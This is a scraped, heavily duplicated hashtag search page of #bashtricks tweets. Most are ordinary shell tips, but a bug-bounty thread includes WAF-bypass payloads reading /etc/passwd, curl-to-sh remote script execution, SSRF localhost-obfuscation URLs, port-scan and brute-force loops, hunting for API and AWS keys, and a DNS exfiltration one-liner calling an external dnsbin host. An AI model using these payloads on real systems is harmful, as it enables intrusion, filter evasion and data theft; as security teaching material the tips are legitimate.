#bashtricks search results

[01/30] #bashtricks Sometimes I receive bash scripting questions via DM, so I'm going to start sharing 30 bash tricks, that I know that makes life easier (1 per day): save bash session output with command "script filename.txt", type any commands & then exit #BugBounty #infosec

omespino's tweet image. [01/30] #bashtricks Sometimes I receive bash scripting questions via DM, so I'm going to start sharing 30 bash tricks, that I know that makes life easier (1 per day):

save bash session output with command "script filename.txt", type any commands & then exit

#BugBounty #infosec

[13/30] #bashtricks - magic execution methods can u upload any file on the server but can't u use chmod? try . ./script.sh (dot space ./script.sh) {.,./script.sh} bash < ./script.sh cat ./script.sh | sh curl host/script.sh| sh #BugBounty #infosec

omespino's tweet image. [13/30] #bashtricks - magic execution methods
can u upload any file on the server but can&apos;t u use chmod? try

. ./script.sh (dot space ./script.sh)
{.,./script.sh}
bash &amp;lt; ./script.sh
cat ./script.sh | sh
curl host/script.sh| sh

#BugBounty #infosec

[15/30] #bashtricks - sync dirs with rsync Did you know that you can sync dirs between your local machine and your VPS with rsync? a lot of hunters use a VPS as bb machine, so this can be useful to get all files from any VPS dir to your local or vice versa #BugBounty #infosec

omespino's tweet image. [15/30] #bashtricks -  sync dirs with rsync
Did you know that you can sync dirs between your local machine and your VPS with rsync?

a lot of hunters use a VPS as bb machine, so this can be useful to get all files from any VPS dir to your local or vice versa

#BugBounty #infosec

[10/30] #bashtricks - execute commands without space need to execute some command but "space" is blocked by WAF or regex? try IFS=,;`cat<<<cat,/etc/passwd` cat$IFS/etc/passwd cat${IFS}/etc/passwd cat</etc/passwd {cat,/etc/passwd} X=$'cat\x20/etc/passwd'&&$X #BugBounty #infosec

omespino's tweet image. [10/30] #bashtricks - execute commands without space
need to execute some command but &quot;space&quot; is blocked by WAF or regex? try

IFS=,;`cat&amp;lt;&amp;lt;&amp;lt;cat,/etc/passwd`
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
cat&amp;lt;/etc/passwd
{cat,/etc/passwd}
X=$&apos;cat\x20/etc/passwd&apos;&amp;amp;&amp;amp;$X

#BugBounty #infosec

alias lastmod="find . -type f -exec stat --format '%Y :%y %n' \"{}\" \; | sort -nr | cut -d: -f2-" Recursively find&sort the last modified files in your current directory. Useful for seeing modifications done by a colleague! #bashtricks @nixcraft

jthatch's tweet image. alias lastmod=&quot;find . -type f -exec stat --format &apos;%Y :%y %n&apos; \&quot;{}\&quot; \; | sort -nr | cut -d: -f2-&quot;

Recursively find&amp;amp;sort the last modified files in your current directory. Useful for seeing modifications done by a colleague!  #bashtricks @nixcraft

[08/30] #bashtricks - raw scanners/fuzzers with for loop scan 65535 ports with curl, wget or even netcat with: for var in {1..65535};do curl -s host:$var;done brute force files or directories: for var in $(cat wordlist.txt);do curl host/$var;done #Bugbounty #infosec

omespino's tweet image. [08/30]  #bashtricks - raw scanners/fuzzers with for loop

scan 65535 ports with curl, wget or even netcat with:
for var in {1..65535};do curl -s host:$var;done

brute force files or directories:
for var in $(cat wordlist.txt);do curl host/$var;done

#Bugbounty #infosec

[04/30] #bashtricks grep reference "man grep" one of my favorite gnu tools; most times we use grep to filter simple strings, but is a flexible and powerful, tool and as it name says, can use regular expressions, per example to get API keys #BugBounty #infosec

omespino's tweet image. [04/30] #bashtricks  grep reference &quot;man grep&quot; one of my favorite gnu tools; most times we use grep to filter simple strings, but is a flexible and  powerful, tool and as it name says, can use regular expressions, per example to get API keys 
#BugBounty #infosec

[09/30] #bashtricks - (g)old exploiting SSRF with localhost IP obscure techniques, super dope reference pc-help.org/obscure.htm http://[::] http://0 localtest.me http://2130706433 http://0x7f000001 http://0x7f.0x00.0x00.0x01 http://0177.0.0.01 #Bugbounty #infosec

omespino's tweet image. [09/30] #bashtricks  - (g)old exploiting SSRF with localhost IP obscure techniques,  super dope reference pc-help.org/obscure.htm

http://[::]
http://0
localtest.me 
http://2130706433
http://0x7f000001
http://0x7f.0x00.0x00.0x01
http://0177.0.0.01

#Bugbounty #infosec

[12/30] #bashtricks - using time in bash checking how much takes any command in bash just adding the command time before the command, run commands until X time, and another interesting stuff with time commands in bash, reference: man time, man timeout #BugBounty #infosec

omespino's tweet image. [12/30] #bashtricks  - using time in bash     
checking how much takes any command in bash just adding the command time before the command, run commands until X time, and another interesting stuff with time commands in bash, reference: man time, man timeout

#BugBounty #infosec

[14/30] #bashtricks - command find in bash find command handbook in 5 minutes find works basically with the following syntax find [path] [string/pattern] [action] per example, you can find all the AWS keys in any *.sh in the whole root partition '/' #BugBounty #infosec

omespino's tweet image. [14/30] #bashtricks - command find in bash
find command handbook  in 5 minutes 

find works basically with the following syntax 
find [path] [string/pattern] [action]

per example, you can find all the AWS keys in any *.sh in the whole root partition &apos;/&apos;

#BugBounty #infosec

#bashtricks ripgrep reference "man rg" I don't why I didn't know about ripgrep (shame on me), is like grep on steroids super faster, matching 5,000 domains into 20 million users csv file with ripgrep in 41 secs vs grep that didn't finish after 1 hr, w00t! #Bugbounty #infosec

omespino's tweet image. #bashtricks ripgrep reference &quot;man rg&quot; 

I don&apos;t why I didn&apos;t know about ripgrep (shame on me), is like grep on steroids super faster, matching 5,000 domains into 20 million users csv file with ripgrep in 41 secs vs grep that didn&apos;t finish after 1 hr, w00t!

#Bugbounty #infosec

#bashTricks When making complicated for loop one-liners 1) Use echo to see the command without running it. 2) Pipe the command to bash -x to see the command and the result

syndrowm's tweet image. #bashTricks When making complicated for loop one-liners

1) Use echo to see the command without running it.

2) Pipe the command to bash -x to see the command and the result

[11/30] #bashtricks - http static web servers one-liners no Apache, XAMPP, etc, no problem, reference gist.github.com/willurd/5720255 python -m SimpleHTTPServer 8000 python3 -m http.server 8000 ruby -run -ehttpd . -p8000 (v1.9.2+) php -S 127.0.0.1:8000 (php v5.4+) #BugBounty #infosec

omespino's tweet image. [11/30] #bashtricks - http static web servers one-liners 

no Apache, XAMPP, etc, no problem, reference gist.github.com/willurd/5720255

python -m SimpleHTTPServer 8000
python3 -m http.server 8000
ruby -run -ehttpd . -p8000 (v1.9.2+)
php -S 127.0.0.1:8000 (php v5.4+)

#BugBounty #infosec

[06/30] #bashtricks - jq cmdlineJSON processor "ref man jq" if you love the terminal & need to work with JSON, some times it is a headache handle that objects, so jq is your best friend, you can extract objects, arrays, keys & values, plus colorized output. #BugBounty #infosec

omespino's tweet image. [06/30] #bashtricks - jq cmdlineJSON processor &quot;ref man jq&quot;
if you love the terminal &amp;amp; need to work with JSON, some times it is a headache handle that objects, so jq is your best friend, you can extract objects, arrays, keys &amp;amp; values, plus colorized output.

#BugBounty #infosec

[05/30] #bashtricks raw TCP connection with file descriptors. no cURL, wget, telnet or netcat, no problem, if you got shell access, you can create a raw TCP connection with file descriptors, per example to "example.com " (dev/tcp/host/port): #BugBounty #infosec

omespino's tweet image. [05/30] #bashtricks  raw TCP connection with file descriptors.

no cURL, wget, telnet or netcat, no problem, if you got shell access, you can create a raw TCP connection with file descriptors, per example to  &quot;example.com &quot; (dev/tcp/host/port):

#BugBounty #infosec

[ 07/30] #bashtricks (g)old - RCE via DNS based data exfiltration even is there is a firewall blocking 80 & 443 ports, works on port 53 & most times is open go to dnsbin.zhack.ca execute a simple 'ls' for i in $(ls);do host $i.96a755.d.zhack.ca;done #Bugbounty #infosec

omespino's tweet image. [ 07/30] #bashtricks (g)old - RCE via DNS based data exfiltration even is there is a firewall blocking 80 &amp;amp; 443 ports, works on port 53 &amp;amp; most times is open

go to dnsbin.zhack.ca 
execute a simple &apos;ls&apos;
for i in $(ls);do host $i.96a755.d.zhack.ca;done

#Bugbounty #infosec

[02/30] #bashtricks formatting huge js files in terminal for better visualization or grep comfort with js-beautify (npm install js-beautify), per example "cat big.js | js-beautify" or in reactnative apk, we can pull index.android.bundle & format it #BugBounty #infosec

omespino's tweet image. [02/30] #bashtricks formatting huge js files in terminal for better visualization or grep comfort with js-beautify (npm install js-beautify), per example &quot;cat big.js | js-beautify&quot; or in reactnative apk, we can pull index.android.bundle &amp;amp; format it 

#BugBounty #infosec

Not sure if this counts as #bashTricks or not. The ip command supports different output formats -o is oneline, -j is json, -p is pretty (the default)

syndrowm's tweet image. Not sure if this counts as #bashTricks or not. The ip command supports different output formats -o is oneline, -j is json, -p is pretty (the default)

A nice bash alias to find out which process is eating your port, a must have!! #bashtricks #commandline #macos

hamxabaig_'s tweet image. A nice bash alias to find out which process is eating your port, a must have!!
#bashtricks #commandline #macos
hamxabaig_'s tweet image. A nice bash alias to find out which process is eating your port, a must have!!
#bashtricks #commandline #macos

I'm not sure who needs to hear this: for i in {1..255} ;do echo 2>/dev/null >/dev/tcp/192.168.7.$i/22; if [ $? -eq 0 ]; then echo $i open; else echo $i closed; fi;done #bashtricks


Want to see some shell magic? Just type cd ~ and watch the terminal do its 🪄 #Basics #BashTricks


Do you know that you can pipe output to FFUF tool? This works great if you want to chain multiple tools or just pass the output to fuzz: cat wordlist.txt | ffuf -w - -u target.com/FUZZ #bugbountytip #bashtricks #Hacking


8/ ⚙️ Command Line Arguments: Accept input from users. Access arguments using $1, $2, and so on. Example: ./script.sh arg1 arg2. Get interactive! 💬🤖 #CommandLineArgs #BashTricks


"¿Sabías que puedes usar #Bash para eliminar archivos de más de 30 días? 🗂️💻 Con el comando 'find' y la opción '-mtime +30', puedes encontrar y borrar fácilmente archivos antiguos. ¡Mantén tu sistema limpio y ordenado! #LinuxTips #BashTricks"

ImVivas's tweet image. &quot;¿Sabías que puedes usar #Bash para eliminar archivos de más de 30 días? 🗂️💻 Con el comando &apos;find&apos; y la opción &apos;-mtime +30&apos;, puedes encontrar y borrar fácilmente archivos antiguos. ¡Mantén tu sistema limpio y ordenado! #LinuxTips #BashTricks&quot;

Thanks ghizmofficiel for the tips #bashtricks


Not sure if this counts as #bashTricks or not. The ip command supports different output formats -o is oneline, -j is json, -p is pretty (the default)

syndrowm's tweet image. Not sure if this counts as #bashTricks or not. The ip command supports different output formats -o is oneline, -j is json, -p is pretty (the default)

Find the interface name for a specific address with ip #bashTricks $ ip -o -4 a | awk '/192.168.7.21/ {print $2}' ens192


Single and Multiple Empty Files Creation in Linux Terminal | touch command #Linux #unix #bashTricks #commands youtu.be/nmmoX4iNUu4 via @YouTube


Thanks! I've perused the majority but there's always more to know. @egyp7's Defcon talk and #bashtricks tweets are a great primer, as well. Seeing what smart folk do in practice and reverse-engineering new tricks seems like a win for time.


#bashtricks #bugbounty #RECON Grep URLs from a page: curl -s google.com | grep -Eo 'http[s]://[a-zA-Z0-9./?=_%:&-]*'

syndrowm's tweet image. #bashtricks #bugbounty #RECON 
Grep URLs from a page:
curl -s google.com | grep -Eo &apos;http[s]://[a-zA-Z0-9./?=_%:&amp;amp;-]*&apos;

#bashtricks (#readlinetricks ?) ... If you hate highlighted paste in your prompt like I do: echo "set enable-bracketed-paste off" >> ~/.inputrc


Great thread and reminds me of @egyp7's #bashTricks threads, if I'm #hashtagging properly


alias lastmod="find . -type f -exec stat --format '%Y :%y %n' \"{}\" \; | sort -nr | cut -d: -f2-" Recursively find&sort the last modified files in your current directory. Useful for seeing modifications done by a colleague! #bashtricks @nixcraft

jthatch's tweet image. alias lastmod=&quot;find . -type f -exec stat --format &apos;%Y :%y %n&apos; \&quot;{}\&quot; \; | sort -nr | cut -d: -f2-&quot;

Recursively find&amp;amp;sort the last modified files in your current directory. Useful for seeing modifications done by a colleague!  #bashtricks @nixcraft

#bashtricks ripgrep reference "man rg" I don't why I didn't know about ripgrep (shame on me), is like grep on steroids super faster, matching 5,000 domains into 20 million users csv file with ripgrep in 41 secs vs grep that didn't finish after 1 hr, w00t! #Bugbounty #infosec

omespino's tweet image. #bashtricks ripgrep reference &quot;man rg&quot; 

I don&apos;t why I didn&apos;t know about ripgrep (shame on me), is like grep on steroids super faster, matching 5,000 domains into 20 million users csv file with ripgrep in 41 secs vs grep that didn&apos;t finish after 1 hr, w00t!

#Bugbounty #infosec

Difference between < << and <<< in #bash < ;read in from a file cat < /etc/passwd << ;read in from heredoc document sort -u << EOF | sed -e 's/2020//' 2020 2019 2020 2021 EOF <<< ;read in from a string tr ' ' '\n' <<< "Hi folks! Bon week-end" #cli #bashtricks


Worthy of #bashTricks , there's always more to learn.

TIL about the paste command. Where have you been my whole life?? *nix is an endless well of amazing text manipulation commands. (inb4 yall 1up me with sed/awk craziness)

curi0usJack's tweet image. TIL about the paste command. Where have you been my whole life?? *nix is an endless well of amazing text manipulation commands. 

(inb4 yall 1up me with sed/awk craziness)


#bashTricks When making complicated for loop one-liners 1) Use echo to see the command without running it. 2) Pipe the command to bash -x to see the command and the result

syndrowm's tweet image. #bashTricks When making complicated for loop one-liners

1) Use echo to see the command without running it.

2) Pipe the command to bash -x to see the command and the result

No results for "#bashtricks"

[09/30] #bashtricks - (g)old exploiting SSRF with localhost IP obscure techniques, super dope reference pc-help.org/obscure.htm http://[::] http://0 localtest.me http://2130706433 http://0x7f000001 http://0x7f.0x00.0x00.0x01 http://0177.0.0.01 #Bugbounty #infosec

omespino's tweet image. [09/30] #bashtricks  - (g)old exploiting SSRF with localhost IP obscure techniques,  super dope reference pc-help.org/obscure.htm

http://[::]
http://0
localtest.me 
http://2130706433
http://0x7f000001
http://0x7f.0x00.0x00.0x01
http://0177.0.0.01

#Bugbounty #infosec

[01/30] #bashtricks Sometimes I receive bash scripting questions via DM, so I'm going to start sharing 30 bash tricks, that I know that makes life easier (1 per day): save bash session output with command "script filename.txt", type any commands & then exit #BugBounty #infosec

omespino's tweet image. [01/30] #bashtricks Sometimes I receive bash scripting questions via DM, so I&apos;m going to start sharing 30 bash tricks, that I know that makes life easier (1 per day):

save bash session output with command &quot;script filename.txt&quot;, type any commands &amp;amp; then exit

#BugBounty #infosec

[10/30] #bashtricks - execute commands without space need to execute some command but "space" is blocked by WAF or regex? try IFS=,;`cat<<<cat,/etc/passwd` cat$IFS/etc/passwd cat${IFS}/etc/passwd cat</etc/passwd {cat,/etc/passwd} X=$'cat\x20/etc/passwd'&&$X #BugBounty #infosec

omespino's tweet image. [10/30] #bashtricks - execute commands without space
need to execute some command but &quot;space&quot; is blocked by WAF or regex? try

IFS=,;`cat&amp;lt;&amp;lt;&amp;lt;cat,/etc/passwd`
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
cat&amp;lt;/etc/passwd
{cat,/etc/passwd}
X=$&apos;cat\x20/etc/passwd&apos;&amp;amp;&amp;amp;$X

#BugBounty #infosec

[13/30] #bashtricks - magic execution methods can u upload any file on the server but can't u use chmod? try . ./script.sh (dot space ./script.sh) {.,./script.sh} bash < ./script.sh cat ./script.sh | sh curl host/script.sh| sh #BugBounty #infosec

omespino's tweet image. [13/30] #bashtricks - magic execution methods
can u upload any file on the server but can&apos;t u use chmod? try

. ./script.sh (dot space ./script.sh)
{.,./script.sh}
bash &amp;lt; ./script.sh
cat ./script.sh | sh
curl host/script.sh| sh

#BugBounty #infosec

[15/30] #bashtricks - sync dirs with rsync Did you know that you can sync dirs between your local machine and your VPS with rsync? a lot of hunters use a VPS as bb machine, so this can be useful to get all files from any VPS dir to your local or vice versa #BugBounty #infosec

omespino's tweet image. [15/30] #bashtricks -  sync dirs with rsync
Did you know that you can sync dirs between your local machine and your VPS with rsync?

a lot of hunters use a VPS as bb machine, so this can be useful to get all files from any VPS dir to your local or vice versa

#BugBounty #infosec

[04/30] #bashtricks grep reference "man grep" one of my favorite gnu tools; most times we use grep to filter simple strings, but is a flexible and powerful, tool and as it name says, can use regular expressions, per example to get API keys #BugBounty #infosec

omespino's tweet image. [04/30] #bashtricks  grep reference &quot;man grep&quot; one of my favorite gnu tools; most times we use grep to filter simple strings, but is a flexible and  powerful, tool and as it name says, can use regular expressions, per example to get API keys 
#BugBounty #infosec

[08/30] #bashtricks - raw scanners/fuzzers with for loop scan 65535 ports with curl, wget or even netcat with: for var in {1..65535};do curl -s host:$var;done brute force files or directories: for var in $(cat wordlist.txt);do curl host/$var;done #Bugbounty #infosec

omespino's tweet image. [08/30]  #bashtricks - raw scanners/fuzzers with for loop

scan 65535 ports with curl, wget or even netcat with:
for var in {1..65535};do curl -s host:$var;done

brute force files or directories:
for var in $(cat wordlist.txt);do curl host/$var;done

#Bugbounty #infosec

alias lastmod="find . -type f -exec stat --format '%Y :%y %n' \"{}\" \; | sort -nr | cut -d: -f2-" Recursively find&sort the last modified files in your current directory. Useful for seeing modifications done by a colleague! #bashtricks @nixcraft

jthatch's tweet image. alias lastmod=&quot;find . -type f -exec stat --format &apos;%Y :%y %n&apos; \&quot;{}\&quot; \; | sort -nr | cut -d: -f2-&quot;

Recursively find&amp;amp;sort the last modified files in your current directory. Useful for seeing modifications done by a colleague!  #bashtricks @nixcraft

[14/30] #bashtricks - command find in bash find command handbook in 5 minutes find works basically with the following syntax find [path] [string/pattern] [action] per example, you can find all the AWS keys in any *.sh in the whole root partition '/' #BugBounty #infosec

omespino's tweet image. [14/30] #bashtricks - command find in bash
find command handbook  in 5 minutes 

find works basically with the following syntax 
find [path] [string/pattern] [action]

per example, you can find all the AWS keys in any *.sh in the whole root partition &apos;/&apos;

#BugBounty #infosec

[12/30] #bashtricks - using time in bash checking how much takes any command in bash just adding the command time before the command, run commands until X time, and another interesting stuff with time commands in bash, reference: man time, man timeout #BugBounty #infosec

omespino's tweet image. [12/30] #bashtricks  - using time in bash     
checking how much takes any command in bash just adding the command time before the command, run commands until X time, and another interesting stuff with time commands in bash, reference: man time, man timeout

#BugBounty #infosec

[11/30] #bashtricks - http static web servers one-liners no Apache, XAMPP, etc, no problem, reference gist.github.com/willurd/5720255 python -m SimpleHTTPServer 8000 python3 -m http.server 8000 ruby -run -ehttpd . -p8000 (v1.9.2+) php -S 127.0.0.1:8000 (php v5.4+) #BugBounty #infosec

omespino's tweet image. [11/30] #bashtricks - http static web servers one-liners 

no Apache, XAMPP, etc, no problem, reference gist.github.com/willurd/5720255

python -m SimpleHTTPServer 8000
python3 -m http.server 8000
ruby -run -ehttpd . -p8000 (v1.9.2+)
php -S 127.0.0.1:8000 (php v5.4+)

#BugBounty #infosec

[06/30] #bashtricks - jq cmdlineJSON processor "ref man jq" if you love the terminal & need to work with JSON, some times it is a headache handle that objects, so jq is your best friend, you can extract objects, arrays, keys & values, plus colorized output. #BugBounty #infosec

omespino's tweet image. [06/30] #bashtricks - jq cmdlineJSON processor &quot;ref man jq&quot;
if you love the terminal &amp;amp; need to work with JSON, some times it is a headache handle that objects, so jq is your best friend, you can extract objects, arrays, keys &amp;amp; values, plus colorized output.

#BugBounty #infosec

[ 07/30] #bashtricks (g)old - RCE via DNS based data exfiltration even is there is a firewall blocking 80 & 443 ports, works on port 53 & most times is open go to dnsbin.zhack.ca execute a simple 'ls' for i in $(ls);do host $i.96a755.d.zhack.ca;done #Bugbounty #infosec

omespino's tweet image. [ 07/30] #bashtricks (g)old - RCE via DNS based data exfiltration even is there is a firewall blocking 80 &amp;amp; 443 ports, works on port 53 &amp;amp; most times is open

go to dnsbin.zhack.ca 
execute a simple &apos;ls&apos;
for i in $(ls);do host $i.96a755.d.zhack.ca;done

#Bugbounty #infosec

[05/30] #bashtricks raw TCP connection with file descriptors. no cURL, wget, telnet or netcat, no problem, if you got shell access, you can create a raw TCP connection with file descriptors, per example to "example.com " (dev/tcp/host/port): #BugBounty #infosec

omespino's tweet image. [05/30] #bashtricks  raw TCP connection with file descriptors.

no cURL, wget, telnet or netcat, no problem, if you got shell access, you can create a raw TCP connection with file descriptors, per example to  &quot;example.com &quot; (dev/tcp/host/port):

#BugBounty #infosec

#bashtricks ripgrep reference "man rg" I don't why I didn't know about ripgrep (shame on me), is like grep on steroids super faster, matching 5,000 domains into 20 million users csv file with ripgrep in 41 secs vs grep that didn't finish after 1 hr, w00t! #Bugbounty #infosec

omespino's tweet image. #bashtricks ripgrep reference &quot;man rg&quot; 

I don&apos;t why I didn&apos;t know about ripgrep (shame on me), is like grep on steroids super faster, matching 5,000 domains into 20 million users csv file with ripgrep in 41 secs vs grep that didn&apos;t finish after 1 hr, w00t!

#Bugbounty #infosec

#bashTricks When making complicated for loop one-liners 1) Use echo to see the command without running it. 2) Pipe the command to bash -x to see the command and the result

syndrowm's tweet image. #bashTricks When making complicated for loop one-liners

1) Use echo to see the command without running it.

2) Pipe the command to bash -x to see the command and the result

[02/30] #bashtricks formatting huge js files in terminal for better visualization or grep comfort with js-beautify (npm install js-beautify), per example "cat big.js | js-beautify" or in reactnative apk, we can pull index.android.bundle & format it #BugBounty #infosec

omespino's tweet image. [02/30] #bashtricks formatting huge js files in terminal for better visualization or grep comfort with js-beautify (npm install js-beautify), per example &quot;cat big.js | js-beautify&quot; or in reactnative apk, we can pull index.android.bundle &amp;amp; format it 

#BugBounty #infosec

Activar opción para no permitir la sobreescritura de archivos. > set -o noclobber # activar > set +o noclobber # desactivar #linux #bashtricks #unix #programmer #bash #zsh #iterm #mac #DevOps #developers

0xsirMauri's tweet image. Activar opción para no permitir la sobreescritura de archivos.
&amp;gt; set -o noclobber    # activar
&amp;gt; set +o noclobber   # desactivar

#linux #bashtricks #unix #programmer #bash #zsh #iterm #mac #DevOps #developers
0xsirMauri's tweet image. Activar opción para no permitir la sobreescritura de archivos.
&amp;gt; set -o noclobber    # activar
&amp;gt; set +o noclobber   # desactivar

#linux #bashtricks #unix #programmer #bash #zsh #iterm #mac #DevOps #developers

#bashtricks #bugbounty #RECON Grep URLs from a page: curl -s google.com | grep -Eo 'http[s]://[a-zA-Z0-9./?=_%:&-]*'

syndrowm's tweet image. #bashtricks #bugbounty #RECON 
Grep URLs from a page:
curl -s google.com | grep -Eo &apos;http[s]://[a-zA-Z0-9./?=_%:&amp;amp;-]*&apos;

A nice bash alias to find out which process is eating your port, a must have!! #bashtricks #commandline #macos

hamxabaig_'s tweet image. A nice bash alias to find out which process is eating your port, a must have!!
#bashtricks #commandline #macos
hamxabaig_'s tweet image. A nice bash alias to find out which process is eating your port, a must have!!
#bashtricks #commandline #macos

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